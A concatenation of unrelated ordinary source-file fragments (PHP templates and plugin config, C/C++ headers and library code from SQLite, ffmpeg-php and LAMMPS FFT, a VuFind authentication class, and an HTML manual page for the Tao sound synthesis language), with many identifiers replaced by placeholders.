if ( $entities->MoreRecords ) {
$url = \Symfony\Component\HttpFoundation\Request::create(
ACRM()->request->getPathInfo(),
'GET',
array_merge( ACRM()->request->query->all(), [ 'viewPage' => $currentPage + 1 ] )
);
?><a href="<?php echo esc_attr( $url->getRequestUri() ); ?>" class="btn btn-outline-primary"><?php _e( 'Next →', '<API key>' ); ?></a><?php
}
?>
</td>
</tr>
</tfoot>
<?php } ?>
</table>
<?php } else {
echo apply_filters( "<API key>", __( "<p>No results</p>", '<API key>' ), $attributes["entity"], $attributes["name"] );
} ?>
|
#ifndef <API key>
#define <API key>
#include <U2Test/XMLTestUtils.h>
#include <U2Core/IOAdapter.h>
#include <QDomElement>
namespace U2 {
class Document;
class GObject;
class LoadDocumentTask;
class SaveDocumentTask;
class <API key>;
class GTest_LoadDocument : public GTest {
Q_OBJECT
public:
<API key>(GTest_LoadDocument, "load-document");
ReportResult report();
void prepare();
virtual void cleanup();
private:
QString docContextName;
LoadDocumentTask* loadTask;
bool contextAdded;
bool tempFile;
QString url;
GTestLogHelper logHelper;
QString expectedLogMessage;
QString expectedLogMessage2;
QString <API key>;
bool needVerifyLog;
};
class GTest_SaveDocument : public GTest {
Q_OBJECT
public:
<API key>(GTest_SaveDocument, "save-document");
void prepare();
private:
QString url;
IOAdapterFactory* iof;
QString docContextName;
SaveDocumentTask* saveTask;
};
class <API key> : public GTest {
Q_OBJECT
public:
<API key>(<API key>, "<API key>", TaskFlags(TaskFlag_NoRun)| <API key>);
Document* getDocument() const;
ReportResult report();
void cleanup();
private:
LoadDocumentTask* loadTask;
QString url;
bool tempFile;
QString message;
};
class <API key> : public GTest {
Q_OBJECT
public:
<API key>(<API key>, "import-document");
ReportResult report();
void prepare();
virtual void cleanup();
private:
QString docContextName;
<API key>* importTask;
bool contextAdded;
bool tempFile;
QString url;
QString destUrl;
GTestLogHelper logHelper;
QString expectedLogMessage;
QString expectedLogMessage2;
QString <API key>;
bool needVerifyLog;
};
class <API key> : public GTest {
Q_OBJECT
public:
<API key>(<API key>, "<API key>", TaskFlags(TaskFlag_NoRun)| <API key>);
Document* getDocument() const;
ReportResult report();
void cleanup();
private:
<API key>* importTask;
QString url;
QString destUrl;
bool tempFile;
QString message;
};
class <API key> : public GTest {
Q_OBJECT
<API key>(<API key>, "check-num-objects");
ReportResult report();
QString docContextName;
int numObjs;
};
class <API key> : public GTest {
Q_OBJECT
<API key>(<API key>, "<API key>");
ReportResult report();
QString docUrl;
QString docFormat;
};
class <API key> : public GTest {
Q_OBJECT
<API key>(<API key>, "<API key>");
ReportResult report();
QString docContextName;
QStringList names;
};
class <API key> : public GTest {
Q_OBJECT
<API key>(<API key>, "<API key>");
ReportResult report();
QString docContextName;
QList<GObjectType> types;
};
class DocumentModelTests {
public:
static QList<XMLTestFactory*> createTestFactories();
};
class <API key> : public GTest {
Q_OBJECT
<API key>(<API key>, "find-object-by-name");
ReportResult report();
void cleanup();
private:
QString docContextName;
QString objContextName;
QString objName;
GObjectType type;
GObject* result;
};
class GTest_CompareFiles : public GTest {
Q_OBJECT
<API key>(GTest_CompareFiles, "compare-docs");
ReportResult report();
private:
void compareMixed();
QByteArray getLine(IOAdapter* io);
IOAdapter* createIoAdapter(const QString& filePath);
QString doc1Path;
QString doc2Path;
bool byLines;
QStringList commentsStartWith;
bool line_num_only;
bool mixed_lines;
int first_n_lines;
};
class <API key> : public GTest {
Q_OBJECT
<API key>(<API key>, "compare-vcf-docs");
ReportResult report();
private:
IOAdapter* createIoAdapter(const QString& filePath);
QString getLine(IOAdapter* io);
QString doc1Path;
QString doc2Path;
static const QByteArray COMMENT_MARKER;
};
class <API key> : public GTest {
Q_OBJECT
<API key>(<API key>, "compare-pdf-docs");
ReportResult report();
private:
QString doc1Path;
QString doc2Path;
bool byLines;
};
}//namespace
#endif
|
<?php
/**
* Options for the bibtex plugin
*
* @author Till Biskup <till@till-biskup>
*/
$meta['_basic'] = array('fieldset');
$meta['sqlite'] = array('onoff');
$meta['citetype'] = array('multichoice','_choices' => array('alpha','apa','authordate','numeric'));
$meta['file'] = array('string');
$meta['pdfdir'] = array('string');
$meta['sort'] = array('onoff');
$meta['_formatstrings'] = array('fieldset');
$meta['fmtstr_article'] = array('string');
$meta['fmtstr_book'] = array('string');
$meta['fmtstr_booklet'] = array('string');
$meta['fmtstr_conference'] = array('string');
$meta['fmtstr_inbook'] = array('string');
$meta['fmtstr_incollection'] = array('string');
$meta['<API key>'] = array('string');
$meta['fmtstr_manual'] = array('string');
$meta['<API key>'] = array('string');
$meta['fmtstr_misc'] = array('string');
$meta['fmtstr_phdthesis'] = array('string');
$meta['fmtstr_proceedings'] = array('string');
$meta['fmtstr_techreport'] = array('string');
$meta['fmtstr_unpublished'] = array('string');
|
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
//#include <php.h>
#include "ffmpeg_tools.h"
#if <API key> >= 52
#include <swscale.h>
/* {{{ ffmpeg_img_convert()
* wrapper around ffmpeg image conversion routines
*/
int img_convert(AVPicture *dst, int dst_pix_fmt,
AVPicture *src, int src_pix_fmt, int src_width, int src_height)
{
struct SwsContext *sws_ctx = NULL;
// TODO: Try to get cached sws_context first
sws_ctx = sws_getContext(src_width, src_height, 0,
src_width, src_height, dst_pix_fmt,
SWS_BICUBIC, NULL, NULL, NULL);
if (sws_ctx == NULL){
return 2;
}
sws_scale(sws_ctx, src->data, src->linesize, 0, src_height, dst->data, dst->linesize);
sws_freeContext(sws_ctx);
return 0;
}
void img_resample(ImgReSampleContext * context, AVPicture * pxOut, const AVPicture * pxIn)
{
if (context != NULL && context->context != NULL) {
AVPicture shiftedInput;
shiftedInput.data[0] = pxIn->data[0] + pxIn->linesize[0] *
context->bandTop + context->bandLeft;
shiftedInput.data[1] = pxIn->data[1] + (pxIn->linesize[1] *
(context->bandTop / 2)) + (context->bandLeft+1) / 2;
shiftedInput.data[2] = pxIn->data[2] + (pxIn->linesize[2] *
(context->bandTop / 2)) + (context->bandLeft+1) / 2;
shiftedInput.linesize[0] = pxIn->linesize[0];
shiftedInput.linesize[1] = pxIn->linesize[1];
shiftedInput.linesize[2] = pxIn->linesize[2];
sws_scale(context->context, (uint8_t**)shiftedInput.data,
(int*)shiftedInput.linesize, 0, context->height - context->bandBottom -
context->bandTop, pxOut->data, pxOut->linesize);
}
}
ImgReSampleContext * <API key> (int owidth, int oheight, int iwidth, int iheight, int topBand, int bottomBand, int leftBand, int rightBand, int padtop, int padbottom, int padleft, int padright)
{
ImgReSampleContext * s = (ImgReSampleContext *)av_malloc(sizeof(ImgReSampleContext));
if (s == NULL) {
return NULL;
}
int srcSurface = (iwidth - rightBand - leftBand)* (iheight - topBand - bottomBand);
// We use bilinear when the source surface is big, and bicubic when the number of pixels to handle is less than 1 MPixels
s->context = sws_getContext(iwidth - rightBand - leftBand,
iheight - topBand - bottomBand, PIX_FMT_YUV420P, owidth, oheight,
PIX_FMT_YUV420P, srcSurface > 1024000 ? SWS_FAST_BILINEAR : SWS_BICUBIC,
NULL, NULL, NULL);
if (s->context == NULL) {
av_free(s);
return NULL; }
s->bandLeft = leftBand;
s->bandRight = rightBand;
s->bandTop = topBand;
s->bandBottom = bottomBand;
s->padLeft = padleft;
s->padRight = padright;
s->padTop = padtop;
s->padBottom = padbottom;
s->width = iwidth;
s->height = iheight;
s->outWidth = owidth;
s->outHeight = oheight;
return s;
}
ImgReSampleContext * img_resample_init (int owidth, int oheight, int iwidth, int iheight)
{
return <API key>(owidth, oheight, iwidth, iheight, 0, 0, 0, 0, 0, 0, 0, 0);
}
void img_resample_close(ImgReSampleContext * s)
{
if (s == NULL) return;
sws_freeContext(s->context);
av_free(s);
}
#endif
/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* End:
* vim600: noet sw=4 ts=4
* vim<600: noet sw=4 ts=4
*/
|
<?php
namespace Finna\Auth;
use VuFind\Exception\Auth as AuthException;
class Suomifi extends Shibboleth
{
/**
* Set configuration.
*
* @param \Zend\Config\Config $config Configuration to set
*
* @return void
*/
public function setConfig($config)
{
// Replace Shibboleth config section with Shibboleth_suomifi
$data = $config->toArray();
$data['Shibboleth'] = $data['Shibboleth_suomifi'];
$config = new \Zend\Config\Config($data);
parent::setConfig($config);
}
/**
* Get the URL to establish a session (needed when the internal VuFind login
* form is inadequate). Returns false when no session initiator is needed.
*
* @param string $target Full URL where external authentication method should
* send user after login (some drivers may override this).
*
* @return bool|string
*/
public function getSessionInitiator($target)
{
$url = parent::getSessionInitiator($target);
if (!$url) {
return $url;
}
// Set 'auth_method' to Suomifi
$url = str_replace(
'auth_method%3DShibboleth', 'auth_method%3DSuomifi', $url
);
return $url;
}
/**
* Get a server parameter taking into account any environment variables
* redirected by Apache mod_rewrite.
*
* @param \Zend\Http\PhpEnvironment\Request $request Request object containing
* account credentials.
* @param string $param Parameter name
*
* @throws AuthException
* @return mixed
*/
protected function getServerParam($request, $param)
{
$val = parent::getServerParam($request, $param);
$config = $this->getConfig()->Shibboleth;
if ($param === $config->username
&& ((bool)$config->hash_username ?? false)
) {
$secret = $config->hash_secret ?? null;
if (empty($secret)) {
throw new AuthException('hash_secret not configured');
}
$val = hash_hmac('sha256', $val, $secret, false);
}
return $val;
}
}
|
/*
** At least two bugs have slipped in because we changed the MEMORY_DEBUG
** macro to SQLITE_DEBUG and some older makefiles have not yet made the
** switch. The following code should catch this problem at compile-time.
*/
#ifdef MEMORY_DEBUG
# error "The MEMORY_DEBUG macro is obsolete. Use SQLITE_DEBUG instead."
#endif
/*
* When testing, this global variable stores the location of the
* pending-byte in the database file.
*/
#ifdef SQLITE_TEST
unsigned int <API key> = 0x40000000;
#endif
#ifdef SQLITE_DEBUG
int sqlite3_os_trace = 0;
#define OSTRACE1(X) if( sqlite3_os_trace ) sqlite3DebugPrintf(X)
#define OSTRACE2(X,Y) if( sqlite3_os_trace ) sqlite3DebugPrintf(X,Y)
#define OSTRACE3(X,Y,Z) if( sqlite3_os_trace ) sqlite3DebugPrintf(X,Y,Z)
#define OSTRACE4(X,Y,Z,A) if( sqlite3_os_trace ) sqlite3DebugPrintf(X,Y,Z,A)
#define OSTRACE5(X,Y,Z,A,B) if( sqlite3_os_trace ) sqlite3DebugPrintf(X,Y,Z,A,B)
#define OSTRACE6(X,Y,Z,A,B,C) \
if(sqlite3_os_trace) sqlite3DebugPrintf(X,Y,Z,A,B,C)
#define OSTRACE7(X,Y,Z,A,B,C,D) \
if(sqlite3_os_trace) sqlite3DebugPrintf(X,Y,Z,A,B,C,D)
#else
#define OSTRACE1(X)
#define OSTRACE2(X,Y)
#define OSTRACE3(X,Y,Z)
#define OSTRACE4(X,Y,Z,A)
#define OSTRACE5(X,Y,Z,A,B)
#define OSTRACE6(X,Y,Z,A,B,C)
#define OSTRACE7(X,Y,Z,A,B,C,D)
#endif
/*
** Macros for performance tracing. Normally turned off. Only works
** on i486 hardware.
*/
#ifdef <API key>
__inline__ unsigned long long int hwtime(void){
unsigned long long int x;
__asm__("rdtsc\n\t"
"mov %%edx, %%ecx\n\t"
:"=A" (x));
return x;
}
static unsigned long long int g_start;
static unsigned int elapse;
#define TIMER_START g_start=hwtime()
#define TIMER_END elapse=hwtime()-g_start
#define TIMER_ELAPSED elapse
#else
#define TIMER_START
#define TIMER_END
#define TIMER_ELAPSED 0
#endif
/*
** If we compile with the SQLITE_TEST macro set, then the following block
** of code will give us the ability to simulate a disk I/O error. This
** is used for testing the I/O recovery logic.
*/
#ifdef SQLITE_TEST
int <API key> = 0;
int <API key> = 0;
int <API key> = 0;
int <API key> = 0;
int sqlite3_diskfull = 0;
#define SimulateIOError(CODE) \
if( <API key> || <API key> ) \
if( <API key>
|| (<API key> && <API key>) ) \
{ local_ioerr(); CODE; }
static void local_ioerr(){
IOTRACE(("IOERR\n"));
<API key> = 1;
}
#define <API key>(CODE) \
if( <API key> ){ \
if( <API key> == 1 ){ \
local_ioerr(); \
sqlite3_diskfull = 1; \
<API key> = 1; \
CODE; \
}else{ \
<API key>
} \
}
#else
#define SimulateIOError(A)
#define <API key>(A)
#endif
/*
** When testing, keep a count of the number of open files.
*/
#ifdef SQLITE_TEST
int <API key> = 0;
#define OpenCounter(X) <API key>+=(X)
#else
#define OpenCounter(X)
#endif
/*
** <API key>
** <API key>
** <API key>
** <API key>
**
** Implementation of the os level dynamic memory allocation interface in terms
** of the standard malloc(), realloc() and free() found in many operating
** systems. No rocket science here.
**
** There are two versions of these four functions here. The version
** implemented here is only used if memory-management or memory-debugging is
** enabled. This version allocates an extra 8-bytes at the beginning of each
** block and stores the size of the allocation there.
**
** If neither memory-management or debugging is enabled, the second
** set of implementations is used instead.
*/
#if defined(<API key>) || defined (SQLITE_MEMDEBUG)
void *<API key>(int n){
char *p = (char *)malloc(n+8);
assert(n>0);
assert(sizeof(int)<=8);
if( p ){
*(int *)p = n;
p += 8;
}
return (void *)p;
}
void *<API key>(void *p, int n){
char *p2 = ((char *)p - 8);
assert(n>0);
p2 = (char*)realloc(p2, n+8);
if( p2 ){
*(int *)p2 = n;
p2 += 8;
}
return (void *)p2;
}
void sqlite3GenericFree(void *p){
assert(p);
free((void *)((char *)p - 8));
}
int <API key>(void *p){
return p ? *(int *)((char *)p - 8) : 0;
}
#else
void *<API key>(int n){
char *p = (char *)malloc(n);
return (void *)p;
}
void *<API key>(void *p, int n){
assert(n>0);
p = realloc(p, n);
return p;
}
void sqlite3GenericFree(void *p){
assert(p);
free(p);
}
/* Never actually used, but needed for the linker */
int <API key>(void *p){ return 0; }
#endif
/*
** The default size of a disk sector
*/
#ifndef PAGER_SECTOR_SIZE
# define PAGER_SECTOR_SIZE 512
#endif
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<!-- HTML file produced from file: UserManual.tex --
-- on Emacs 21.1 (patch 4) "Arches" XEmacs Lucid, Sun Apr 30 20:50:10 2000 -->
<HEAD>
<TITLE>Tao User Manual -- Using pitches - pitches.tao</TITLE>
<link rel=stylesheet href="../../taomanual.css" type="text/css">
</HEAD><BODY BACKGROUND="bg.gif">
<table width="500" border="0" align="left" cellspacing="2" cellpadding="2"><tr><td class="nav" valign="top"><!-- top panel --><A HREF="UserManual_102.html"><IMG ALT="Up" ALIGN=BOTTOM BORDER=0 SRC="up.gif"></A>
<BR><A HREF="UserManual_102.html">Tutorial</A><BR><IMG width="167" height="1" SRC="trans1x1.gif">
</td><td class="nav" valign="top"><A HREF="UserManual_140.html"><IMG ALT="Back" ALIGN=BOTTOM BORDER=0 SRC="back.gif"></A>
<BR><A HREF="UserManual_140.html">Using the Output device - outputs.tao</A><BR><IMG width="167" height="1" SRC="trans1x1.gif">
</td><td class="nav" valign="top"><A HREF="UserManual_142.html"><IMG ALT="Forward" ALIGN=BOTTOM BORDER=0 SRC="forward.gif"></A>
<BR><A HREF="UserManual_142.html">Creating a rectangular sheet</A><BR><IMG width="167" height="1" SRC="trans1x1.gif">
</td></tr><!-- end top panel --><tr><td colspan="3" class="main"><!-- main text --><br><br>
<H2>Using pitches - pitches.tao</H2>
This script illustrates the various pitch formats which are supported
by <B>Tao</B>. These include <EM>oct</EM><A NAME="1">,</A> <EM>cps</EM><A NAME="2">,</A> <EM>Hz</EM><A NAME="3"> and</A>
<EM>note name</EM><A NAME="4"> formats</A> (see sections <A HREF="UserManual_34.html">*</A>
and <A HREF="UserManual_52.html">*</A>).
<P><PRE>
Audio rate: 44100;
String array1[]=
{
(200 Hz, 20 secs),
(220 Hz, 20 secs),
(240 Hz, 20 secs),
(260 Hz, 20 secs)
};
String array2[]=
{
(8.00 pch, 20 secs),
(8.04 pch, 20 secs),
(8.06 pch, 20 secs),
(8.08 pch, 20 secs)
};
String array3[]=
{
(8.0 oct, 20 secs),
(8.2 oct, 20 secs),
(8.4 oct, 20 secs),
(8.6 oct, 20 secs)
};
Counter n;
Init:
For n = 0 to 3:
array1[n].lockEnds();
array2[n].lockEnds();
array3[n].lockEnds();
Score 5 secs:
Label(array1[0], 1.0, 0.0, 0.0, "LABEL", 0);
At start for 0.1 msecs:
For n = 0 to 3:
array1[n](0.1).applyForce(1.0);
array2[n](0.1).applyForce(1.0);
array3[n](0.1).applyForce(1.0);
</PRE>
<P>
<BR></td></tr><!-- end main text --><tr><td class="nav" align="left" valign="top"><!-- bottom matter --><A HREF="UserManual_102.html"><IMG ALT="Up" ALIGN=BOTTOM BORDER=0 SRC="up.gif"></A>
<BR><A HREF="UserManual_102.html">Tutorial</A><BR><IMG width="167" height="1" SRC="trans1x1.gif">
</td><td class="nav" align="left" valign="top"><A HREF="UserManual_140.html"><IMG ALT="Back" ALIGN=BOTTOM BORDER=0 SRC="back.gif"></A>
<BR><A HREF="UserManual_140.html">Using the Output device - outputs.tao</A><BR><IMG width="167" height="1" SRC="trans1x1.gif">
</td><td class="nav" align="left" valign="top"><!-- bottom matter --><A HREF="UserManual_142.html"><IMG ALT="Forward" ALIGN=BOTTOM BORDER=0 SRC="forward.gif"></A>
<BR><A HREF="UserManual_142.html">Creating a rectangular sheet</A>
<IMG width="167" height="1" SRC="trans1x1.gif">
</td></tr><!-- end bottom matter -->
<tr><td colspan="3" class="addr"><!-- bottom panel --><ADDRESS><FONT SIZE=-1>©1999,2000 Mark Pearson
<A HREF="mailto:m.pearson@ukonline.co.uk">m.pearson@ukonline.co.uk</A> April 30, 2000</ADDRESS><BR></td></tr><!-- end bottom panel --></table></BODY></HTML>
|
// clang-format off
#include "fft3d.h"
#include "remap.h"
#include <cstdlib>
#include <cmath>
#if defined(_OPENMP)
#include <omp.h>
#endif
#ifdef FFT_KISS
/* include kissfft implementation */
#include "kissfft.h"
#endif
#define MIN(A,B) ((A) < (B) ? (A) : (B))
#define MAX(A,B) ((A) > (B) ? (A) : (B))
void fft_3d(FFT_DATA *in, FFT_DATA *out, int flag, struct fft_plan_3d *plan)
{
FFT_SCALAR norm;
#if defined(FFT_FFTW3)
FFT_SCALAR *out_ptr;
#endif
FFT_DATA *data,*copy;
// system specific constants
#if defined(FFT_FFTW3)
FFTW_API(plan) theplan;
#else
// nothing to do for other FFTs
#endif
// pre-remap to prepare for 1st FFTs if needed
// copy = loc for remap result
if (plan->pre_plan) {
if (plan->pre_target == 0) copy = out;
else copy = plan->copy;
remap_3d((FFT_SCALAR *) in, (FFT_SCALAR *) copy,
(FFT_SCALAR *) plan->scratch, plan->pre_plan);
data = copy;
}
else
data = in;
// 1d FFTs along fast axis
#if defined(FFT_MKL)
if (flag == 1)
DftiComputeForward(plan->handle_fast,data);
else
DftiComputeBackward(plan->handle_fast,data);
#elif defined(FFT_FFTW3)
if (flag == 1)
theplan=plan->plan_fast_forward;
else
theplan=plan->plan_fast_backward;
FFTW_API(execute_dft)(theplan,data,data);
#else
int total = plan->total1;
int length = plan->length1;
if (flag == 1)
for (int offset = 0; offset < total; offset += length)
kiss_fft(plan->cfg_fast_forward,&data[offset],&data[offset]);
else
for (int offset = 0; offset < total; offset += length)
kiss_fft(plan->cfg_fast_backward,&data[offset],&data[offset]);
#endif
// 1st mid-remap to prepare for 2nd FFTs
// copy = loc for remap result
if (plan->mid1_target == 0) copy = out;
else copy = plan->copy;
remap_3d((FFT_SCALAR *) data, (FFT_SCALAR *) copy,
(FFT_SCALAR *) plan->scratch, plan->mid1_plan);
data = copy;
// 1d FFTs along mid axis
#if defined(FFT_MKL)
if (flag == 1)
DftiComputeForward(plan->handle_mid,data);
else
DftiComputeBackward(plan->handle_mid,data);
#elif defined(FFT_FFTW3)
if (flag == 1)
theplan=plan->plan_mid_forward;
else
theplan=plan->plan_mid_backward;
FFTW_API(execute_dft)(theplan,data,data);
#else
total = plan->total2;
length = plan->length2;
if (flag == 1)
for (int offset = 0; offset < total; offset += length)
kiss_fft(plan->cfg_mid_forward,&data[offset],&data[offset]);
else
for (int offset = 0; offset < total; offset += length)
kiss_fft(plan->cfg_mid_backward,&data[offset],&data[offset]);
#endif
// 2nd mid-remap to prepare for 3rd FFTs
// copy = loc for remap result
if (plan->mid2_target == 0) copy = out;
else copy = plan->copy;
remap_3d((FFT_SCALAR *) data, (FFT_SCALAR *) copy,
(FFT_SCALAR *) plan->scratch, plan->mid2_plan);
data = copy;
// 1d FFTs along slow axis
#if defined(FFT_MKL)
if (flag == 1)
DftiComputeForward(plan->handle_slow,data);
else
DftiComputeBackward(plan->handle_slow,data);
#elif defined(FFT_FFTW3)
if (flag == 1)
theplan=plan->plan_slow_forward;
else
theplan=plan->plan_slow_backward;
FFTW_API(execute_dft)(theplan,data,data);
#else
total = plan->total3;
length = plan->length3;
if (flag == 1)
for (int offset = 0; offset < total; offset += length)
kiss_fft(plan->cfg_slow_forward,&data[offset],&data[offset]);
else
for (int offset = 0; offset < total; offset += length)
kiss_fft(plan->cfg_slow_backward,&data[offset],&data[offset]);
#endif
// post-remap to put data in output format if needed
// destination is always out
if (plan->post_plan)
remap_3d((FFT_SCALAR *) data, (FFT_SCALAR *) out,
(FFT_SCALAR *) plan->scratch, plan->post_plan);
// scaling if required
if (flag == -1 && plan->scaled) {
norm = plan->norm;
const int num = plan->normnum;
#if defined(FFT_FFTW3)
out_ptr = (FFT_SCALAR *)out;
#endif
for (int i = 0; i < num; i++) {
#if defined(FFT_FFTW3)
*(out_ptr++) *= norm;
*(out_ptr++) *= norm;
#elif defined(FFT_MKL)
out[i] *= norm;
#else /* FFT_KISS */
out[i].re *= norm;
out[i].im *= norm;
#endif
}
}
}
struct fft_plan_3d *fft_3d_create_plan(
MPI_Comm comm, int nfast, int nmid, int nslow,
int in_ilo, int in_ihi, int in_jlo, int in_jhi,
int in_klo, int in_khi,
int out_ilo, int out_ihi, int out_jlo, int out_jhi,
int out_klo, int out_khi,
int scaled, int permute, int *nbuf, int usecollective)
{
struct fft_plan_3d *plan;
int me,nprocs,nthreads;
int flag,remapflag;
int first_ilo,first_ihi,first_jlo,first_jhi,first_klo,first_khi;
int second_ilo,second_ihi,second_jlo,second_jhi,second_klo,second_khi;
int third_ilo,third_ihi,third_jlo,third_jhi,third_klo,third_khi;
int out_size,first_size,second_size,third_size,copy_size,scratch_size;
int np1,np2,ip1,ip2;
// query MPI info
MPI_Comm_rank(comm,&me);
MPI_Comm_size(comm,&nprocs);
#if defined(_OPENMP)
// query OpenMP info.
// should have been initialized systemwide in Comm class constructor
nthreads = omp_get_max_threads();
#else
nthreads = 1;
#endif
// compute division of procs in 2 dimensions not on-processor
bifactor(nprocs,&np1,&np2);
ip1 = me % np1;
ip2 = me/np1;
// allocate memory for plan data struct
plan = (struct fft_plan_3d *) malloc(sizeof(struct fft_plan_3d));
if (plan == nullptr) return nullptr;
// remap from initial distribution to layout needed for 1st set of 1d FFTs
// not needed if all procs own entire fast axis initially
// first indices = distribution after 1st set of FFTs
if (in_ilo == 0 && in_ihi == nfast-1)
flag = 0;
else
flag = 1;
MPI_Allreduce(&flag,&remapflag,1,MPI_INT,MPI_MAX,comm);
if (remapflag == 0) {
first_ilo = in_ilo;
first_ihi = in_ihi;
first_jlo = in_jlo;
first_jhi = in_jhi;
first_klo = in_klo;
first_khi = in_khi;
plan->pre_plan = nullptr;
} else {
first_ilo = 0;
first_ihi = nfast - 1;
first_jlo = ip1*nmid/np1;
first_jhi = (ip1+1)*nmid/np1 - 1;
first_klo = ip2*nslow/np2;
first_khi = (ip2+1)*nslow/np2 - 1;
plan->pre_plan =
<API key>(comm,in_ilo,in_ihi,in_jlo,in_jhi,in_klo,in_khi,
first_ilo,first_ihi,first_jlo,first_jhi,
first_klo,first_khi,2,0,0,FFT_PRECISION,0);
if (plan->pre_plan == nullptr) return nullptr;
}
// 1d FFTs along fast axis
plan->length1 = nfast;
plan->total1 = nfast * (first_jhi-first_jlo+1) * (first_khi-first_klo+1);
// remap from 1st to 2nd FFT
// choose which axis is split over np1 vs np2 to minimize communication
// second indices = distribution after 2nd set of FFTs
second_ilo = ip1*nfast/np1;
second_ihi = (ip1+1)*nfast/np1 - 1;
second_jlo = 0;
second_jhi = nmid - 1;
second_klo = ip2*nslow/np2;
second_khi = (ip2+1)*nslow/np2 - 1;
plan->mid1_plan =
<API key>(comm,
first_ilo,first_ihi,first_jlo,first_jhi,
first_klo,first_khi,
second_ilo,second_ihi,second_jlo,second_jhi,
second_klo,second_khi,2,1,0,FFT_PRECISION,
usecollective);
if (plan->mid1_plan == nullptr) return nullptr;
// 1d FFTs along mid axis
plan->length2 = nmid;
plan->total2 = (<API key>+1) * nmid * (<API key>+1);
// remap from 2nd to 3rd FFT
// if final distribution is permute=2 with all procs owning entire slow axis
// then this remapping goes directly to final distribution
// third indices = distribution after 3rd set of FFTs
if (permute == 2 && out_klo == 0 && out_khi == nslow-1)
flag = 0;
else
flag = 1;
MPI_Allreduce(&flag,&remapflag,1,MPI_INT,MPI_MAX,comm);
if (remapflag == 0) {
third_ilo = out_ilo;
third_ihi = out_ihi;
third_jlo = out_jlo;
third_jhi = out_jhi;
third_klo = out_klo;
third_khi = out_khi;
} else {
third_ilo = ip1*nfast/np1;
third_ihi = (ip1+1)*nfast/np1 - 1;
third_jlo = ip2*nmid/np2;
third_jhi = (ip2+1)*nmid/np2 - 1;
third_klo = 0;
third_khi = nslow - 1;
}
plan->mid2_plan =
<API key>(comm,
second_jlo,second_jhi,second_klo,second_khi,
second_ilo,second_ihi,
third_jlo,third_jhi,third_klo,third_khi,
third_ilo,third_ihi,2,1,0,FFT_PRECISION,usecollective);
if (plan->mid2_plan == nullptr) return nullptr;
// 1d FFTs along slow axis
plan->length3 = nslow;
plan->total3 = (third_ihi-third_ilo+1) * (third_jhi-third_jlo+1) * nslow;
// remap from 3rd FFT to final distribution
// not needed if permute = 2 and third indices = out indices on all procs
if (permute == 2 &&
out_ilo == third_ilo && out_ihi == third_ihi &&
out_jlo == third_jlo && out_jhi == third_jhi &&
out_klo == third_klo && out_khi == third_khi)
flag = 0;
else
flag = 1;
MPI_Allreduce(&flag,&remapflag,1,MPI_INT,MPI_MAX,comm);
if (remapflag == 0)
plan->post_plan = nullptr;
else {
plan->post_plan =
<API key>(comm,
third_klo,third_khi,third_ilo,third_ihi,
third_jlo,third_jhi,
out_klo,out_khi,out_ilo,out_ihi,
out_jlo,out_jhi,2,(permute+1)%3,0,FFT_PRECISION,0);
if (plan->post_plan == nullptr) return nullptr;
}
// configure plan memory pointers and allocate work space
// out_size = amount of memory given to FFT by user
// first/second/third_size =
// amount of memory needed after pre,mid1,mid2 remaps
// copy_size = amount needed internally for extra copy of data
// scratch_size = amount needed internally for remap scratch space
// for each remap:
// out space used for result if big enough, else require copy buffer
// accumulate largest required remap scratch space
out_size = (out_ihi-out_ilo+1) * (out_jhi-out_jlo+1) * (out_khi-out_klo+1);
first_size = (first_ihi-first_ilo+1) * (first_jhi-first_jlo+1) *
(first_khi-first_klo+1);
second_size = (<API key>+1) * (<API key>+1) *
(<API key>+1);
third_size = (third_ihi-third_ilo+1) * (third_jhi-third_jlo+1) *
(third_khi-third_klo+1);
copy_size = 0;
scratch_size = 0;
if (plan->pre_plan) {
if (first_size <= out_size)
plan->pre_target = 0;
else {
plan->pre_target = 1;
copy_size = MAX(copy_size,first_size);
}
scratch_size = MAX(scratch_size,first_size);
}
if (plan->mid1_plan) {
if (second_size <= out_size)
plan->mid1_target = 0;
else {
plan->mid1_target = 1;
copy_size = MAX(copy_size,second_size);
}
scratch_size = MAX(scratch_size,second_size);
}
if (plan->mid2_plan) {
if (third_size <= out_size)
plan->mid2_target = 0;
else {
plan->mid2_target = 1;
copy_size = MAX(copy_size,third_size);
}
scratch_size = MAX(scratch_size,third_size);
}
if (plan->post_plan)
scratch_size = MAX(scratch_size,out_size);
*nbuf = copy_size + scratch_size;
if (copy_size) {
plan->copy = (FFT_DATA *) malloc(copy_size*sizeof(FFT_DATA));
if (plan->copy == nullptr) return nullptr;
}
else plan->copy = nullptr;
if (scratch_size) {
plan->scratch = (FFT_DATA *) malloc(scratch_size*sizeof(FFT_DATA));
if (plan->scratch == nullptr) return nullptr;
}
else plan->scratch = nullptr;
// system specific pre-computation of 1d FFT coeffs
// and scaling normalization
#if defined(FFT_MKL)
<API key>( &(plan->handle_fast), FFT_MKL_PREC, DFTI_COMPLEX, 1,
(MKL_LONG)nfast);
DftiSetValue(plan->handle_fast, <API key>,
(MKL_LONG)plan->total1/nfast);
DftiSetValue(plan->handle_fast, DFTI_PLACEMENT,DFTI_INPLACE);
DftiSetValue(plan->handle_fast, DFTI_INPUT_DISTANCE, (MKL_LONG)nfast);
DftiSetValue(plan->handle_fast, <API key>, (MKL_LONG)nfast);
#if defined(FFT_MKL_THREADS)
DftiSetValue(plan->handle_fast, <API key>, nthreads);
#endif
<API key>(plan->handle_fast);
<API key>( &(plan->handle_mid), FFT_MKL_PREC, DFTI_COMPLEX, 1,
(MKL_LONG)nmid);
DftiSetValue(plan->handle_mid, <API key>,
(MKL_LONG)plan->total2/nmid);
DftiSetValue(plan->handle_mid, DFTI_PLACEMENT,DFTI_INPLACE);
DftiSetValue(plan->handle_mid, DFTI_INPUT_DISTANCE, (MKL_LONG)nmid);
DftiSetValue(plan->handle_mid, <API key>, (MKL_LONG)nmid);
#if defined(FFT_MKL_THREADS)
DftiSetValue(plan->handle_mid, <API key>, nthreads);
#endif
<API key>(plan->handle_mid);
<API key>( &(plan->handle_slow), FFT_MKL_PREC, DFTI_COMPLEX, 1,
(MKL_LONG)nslow);
DftiSetValue(plan->handle_slow, <API key>,
(MKL_LONG)plan->total3/nslow);
DftiSetValue(plan->handle_slow, DFTI_PLACEMENT,DFTI_INPLACE);
DftiSetValue(plan->handle_slow, DFTI_INPUT_DISTANCE, (MKL_LONG)nslow);
DftiSetValue(plan->handle_slow, <API key>, (MKL_LONG)nslow);
#if defined(FFT_MKL_THREADS)
